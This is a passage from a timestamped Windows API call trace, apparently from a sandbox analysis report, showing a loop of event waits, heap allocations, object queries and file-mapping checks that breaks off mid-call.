WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.469] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.469] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.469] ResetEvent (hEvent=0x110) returned 1 [0259.469] SetEvent (hEvent=0x114) returned 1 [0259.469] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.469] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.469] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.469] ResetEvent (hEvent=0x110) returned 1 [0259.469] SetEvent (hEvent=0x114) returned 1 [0259.469] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.470] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.470] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.470] ResetEvent (hEvent=0x110) returned 1 [0259.470] SetEvent (hEvent=0x114) returned 1 [0259.470] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.470] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.470] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.470] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.470] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.470] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.470] ResetEvent (hEvent=0x110) returned 1 [0259.470] SetEvent (hEvent=0x114) returned 1 [0259.470] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.470] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.470] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.470] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.471] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.471] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.471] ResetEvent (hEvent=0x110) returned 1 [0259.471] SetEvent (hEvent=0x114) returned 1 [0259.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.471] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.471] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.471] ResetEvent (hEvent=0x110) returned 1 [0259.471] SetEvent (hEvent=0x114) returned 1 [0259.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.471] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.471] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.471] ResetEvent (hEvent=0x110) returned 1 [0259.471] SetEvent (hEvent=0x114) returned 1 [0259.471] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.472] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.472] ResetEvent (hEvent=0x110) returned 1 [0259.472] SetEvent (hEvent=0x114) returned 1 [0259.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.472] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.472] ResetEvent (hEvent=0x110) returned 1 [0259.472] SetEvent (hEvent=0x114) returned 1 [0259.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.472] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.473] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.473] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.473] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.473] ResetEvent (hEvent=0x110) returned 1 [0259.473] SetEvent (hEvent=0x114) returned 1 [0259.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.473] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.473] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.473] ResetEvent (hEvent=0x110) returned 1 [0259.473] SetEvent (hEvent=0x114) returned 1 [0259.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.473] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.473] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.473] ResetEvent (hEvent=0x110) returned 1 [0259.473] SetEvent (hEvent=0x114) returned 1 [0259.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.474] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.474] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.474] ResetEvent (hEvent=0x110) returned 1 [0259.474] SetEvent (hEvent=0x114) returned 1 [0259.474] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.474] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.474] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.474] ResetEvent (hEvent=0x110) returned 1 [0259.474] SetEvent (hEvent=0x114) returned 1 [0259.474] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.474] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.474] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.474] ResetEvent (hEvent=0x110) returned 1 [0259.474] SetEvent (hEvent=0x114) returned 1 [0259.474] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.475] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.475] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.475] ResetEvent (hEvent=0x110) returned 1 [0259.475] SetEvent (hEvent=0x114) returned 1 [0259.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.475] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.475] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.475] ResetEvent (hEvent=0x110) returned 1 [0259.475] SetEvent (hEvent=0x114) returned 1 [0259.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.475] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.475] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.475] ResetEvent (hEvent=0x110) returned 1 [0259.475] SetEvent (hEvent=0x114) returned 1 [0259.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.476] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.476] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.476] ResetEvent (hEvent=0x110) returned 1 [0259.476] SetEvent (hEvent=0x114) returned 1 [0259.476] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.476] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.476] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.476] ResetEvent (hEvent=0x110) returned 1 [0259.476] SetEvent (hEvent=0x114) returned 1 [0259.476] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.476] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.476] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.476] ResetEvent (hEvent=0x110) returned 1 [0259.476] SetEvent (hEvent=0x114) returned 1 [0259.476] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.477] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.477] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.477] ResetEvent (hEvent=0x110) returned 1 [0259.477] SetEvent (hEvent=0x114) returned 1 [0259.477] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.477] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.477] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.477] ResetEvent (hEvent=0x110) returned 1 [0259.477] SetEvent (hEvent=0x114) returned 1 [0259.477] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.477] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.477] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.477] ResetEvent (hEvent=0x110) returned 1 [0259.477] SetEvent (hEvent=0x114) returned 1 [0259.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.478] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.478] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.478] ResetEvent (hEvent=0x110) returned 1 [0259.478] SetEvent (hEvent=0x114) returned 1 [0259.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.478] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.478] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.478] ResetEvent (hEvent=0x110) returned 1 [0259.478] SetEvent (hEvent=0x114) returned 1 [0259.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.478] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.478] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.479] ResetEvent (hEvent=0x110) returned 1 [0259.479] SetEvent (hEvent=0x114) returned 1 [0259.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.479] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.479] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.479] ResetEvent (hEvent=0x110) returned 1 [0259.479] SetEvent (hEvent=0x114) returned 1 [0259.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.479] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.479] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.479] ResetEvent (hEvent=0x110) returned 1 [0259.479] SetEvent (hEvent=0x114) returned 1 [0259.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.479] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.480] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.480] ResetEvent (hEvent=0x110) returned 1 [0259.480] SetEvent (hEvent=0x114) returned 1 [0259.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.480] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.480] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.480] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.480] ResetEvent (hEvent=0x110) returned 1 [0259.480] SetEvent (hEvent=0x114) returned 1 [0259.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.480] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.480] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.480] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.480] ResetEvent (hEvent=0x110) returned 1 [0259.480] SetEvent (hEvent=0x114) returned 1 [0259.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.480] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.480] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.481] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.481] ResetEvent (hEvent=0x110) returned 1 [0259.481] SetEvent (hEvent=0x114) returned 1 [0259.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.481] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.481] ResetEvent (hEvent=0x110) returned 1 [0259.481] SetEvent (hEvent=0x114) returned 1 [0259.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.481] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.481] ResetEvent (hEvent=0x110) returned 1 [0259.481] SetEvent (hEvent=0x114) returned 1 [0259.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.482] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.482] ResetEvent (hEvent=0x110) returned 1 [0259.482] SetEvent (hEvent=0x114) returned 1 [0259.482] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.482] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.482] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.482] ResetEvent (hEvent=0x110) returned 1 [0259.482] SetEvent (hEvent=0x114) returned 1 [0259.482] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.482] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.482] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.482] ResetEvent (hEvent=0x110) returned 1 [0259.482] SetEvent (hEvent=0x114) returned 1 [0259.482] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.483] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.483] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, 